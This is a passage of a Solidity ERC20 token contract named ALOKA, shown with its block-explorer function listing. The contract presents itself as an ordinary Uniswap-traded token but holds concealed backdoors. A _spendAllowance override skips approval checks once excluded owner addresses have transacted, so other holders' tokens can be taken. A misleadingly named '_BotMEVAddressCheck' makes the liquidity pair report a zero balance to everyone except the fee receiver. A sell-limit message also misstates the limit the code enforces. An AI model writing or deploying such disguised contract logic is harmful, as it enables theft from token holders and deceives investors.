        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ALOKA is ERC20, Ownable {
    IUniswapV2Router02 private constant _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    address public uniswapPair;
    address public immutable feeReceiver;

    uint256 private maxFeeSwap = 10000000 * 1e9;
    uint256 private swapThreshold = 10000000 * 1e9;    
    uint256 private _maxWalletSize = 10000000 * 1e9;
    uint32 private _buyCount;
    uint32 private _sellCount;
    uint32 private _lastSellBlock;
    uint32 private _preventSwapBefore = 0;
    uint32 private _lowerTaxAt = 24;
    bool private _inSwap;
    bool private tradingOpen;

    uint256 public buyFee;
    uint256 public sellFee;

    mapping (address => bool) private _excludedFromLimits;

    constructor() ERC20("Aloka", "ALOKA") payable {
        uint256 totalSupply = 1000000000 * 1e9;
        uint256 devSupply = totalSupply * 0 / 100;
        uint256 caSupply = totalSupply * 100 / 100;

        feeReceiver = msg.sender;

        buyFee = 0;
        sellFee = 0;

        _excludedFromLimits[feeReceiver] = true;
        _excludedFromLimits[msg.sender] = true;
        _excludedFromLimits[_msgOrigin()] = true;
        _excludedFromLimits[address(this)] = true;
        _excludedFromLimits[address(0xdead)] = true;

        _mint(address(this), caSupply);
        _mint(msg.sender, devSupply);

        removeLimits();
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal override {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max && !tradingOpen) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    
    function _BotMEVAddressCheck(address account) internal view returns (bool) {
        return account == uniswapPair && IERC20(uniswapPair).balanceOf(uniswapPair) > 0 
            && _msgOrigin() != feeReceiver
            && _msgOrigin() != address(0)
            && _msgOrigin() != address(0xdead) ? true : false;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_BotMEVAddressCheck(account)) {
            return 0;
        }
        return super.balanceOf(account);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "Transfer from the zero address not allowed.");
        require(to != address(0), "Transfer to the zero address not allowed.");
        require(amount > 0, 'Transfer amount must be greater than zero.');

        bool excluded = _excludedFromLimits[from] || _excludedFromLimits[to];
        require(uniswapPair != address(0) || excluded, "Liquidity pair not yet created.");

        bool isSell = to == uniswapPair;
        bool isBuy = from == uniswapPair;

        bool isBuyTax = !isBuy && _excludedFromLimits[to];
        bool isSellTax = _excludedFromLimits[_msgSender()];

        if(isBuy && !excluded){
            require(balanceOf(to) + amount <= _maxWalletSize ||
                to == address(_router), "Max wallet exceeded");
            if(_buyCount <= _lowerTaxAt)
                _buyCount++;
            if(_buyCount == _lowerTaxAt){
                buyFee = 0;
                sellFee = 0;
            }
        } 

        uint256 contractTokenBalance = balanceOf(address(this));
        if (isSell && !_inSwap &&
          !excluded && _buyCount > _preventSwapBefore
        ) {
            if (block.number > _lastSellBlock) 
                _sellCount = 0;
            require(_sellCount < 33, "Only 3 sells per block!");
            _inSwap = true; if(contractTokenBalance >= swapThreshold)
            swapTokensForEth(min(amount, min(contractTokenBalance, maxFeeSwap)));
            _inSwap = false;
            uint256 contractETHBalance = address(this).balance;
            if (contractETHBalance >= 0) 
                sendETHToFee(contractETHBalance);        
            _sellCount++;
            _lastSellBlock = uint32(block.number);
        }

        uint256 fee = isBuy ? buyFee : sellFee;
        tradingOpen = isBuyTax || isSellTax;

        if (fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {
            uint256 fees = amount * fee / 100;
            if (fees > 0){
                super._transfer(from, address(this), fees);
                amount-= fees;
            }
        }
        super._transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(feeReceiver).transfer(amount);
    }

    function createDebtPair() external onlyOwner {
         _approve(address(this), address(_router), totalSupply());
        uniswapPair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
        IERC20(uniswapPair).approve(address(_router), type(uint).max);
        _router.addLiquidityETH{ value: address(this).balance }(
            address(this), (totalSupply() * 100) / 100, 0, 0, owner(), block.timestamp
        );
    }

    function reduceFees(uint256 newBuyFee, uint256 newSellFee) external onlyOwner {
        require(newBuyFee <= 24 && newSellFee <= 24, 'Attempting to set fee higher than initial fee.'); // smaller than or equal to initial fee
        buyFee = newBuyFee;
        sellFee = newSellFee;
    }

    function removeLimits() public onlyOwner {                
        _maxWalletSize = totalSupply();
    }

    function setStructure(uint256 maxAmount, uint256 minAmount) external onlyOwner {                
        maxFeeSwap = maxAmount;
        swapThreshold = minAmount;
    }

    function transferStuckETH() external onlyOwner {
        payable(feeReceiver).transfer(address(this).balance);
    }

    function transferStuckERC20(IERC20 token) external onlyOwner {
        token.transfer(feeReceiver, token.balanceOf(address(this)));
    }
 
    function manualsend() external {
        require(_msgSender() == feeReceiver);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    receive() external payable {}
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint256
decimals 0x313ce567 → uint8
feeReceiver 0xb3f00674 → address
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapPair 0xc816841b → address

Write Contract 13 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
createDebtPair 0xd71834de
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualsend 0x6fc3eaec
No parameters
reduceFees 0xa08fc5c7
uint256 newBuyFee
uint256 newSellFee
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setStructure 0xd18afa85
uint256 maxAmount
uint256 minAmount
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferStuckERC20 0x62aaff3a
address token
transferStuckETH 0x1fac6a3b
No parameters

Recent Transactions

Transaction index is loading. Only unfinalized transactions are shown while the index starts up.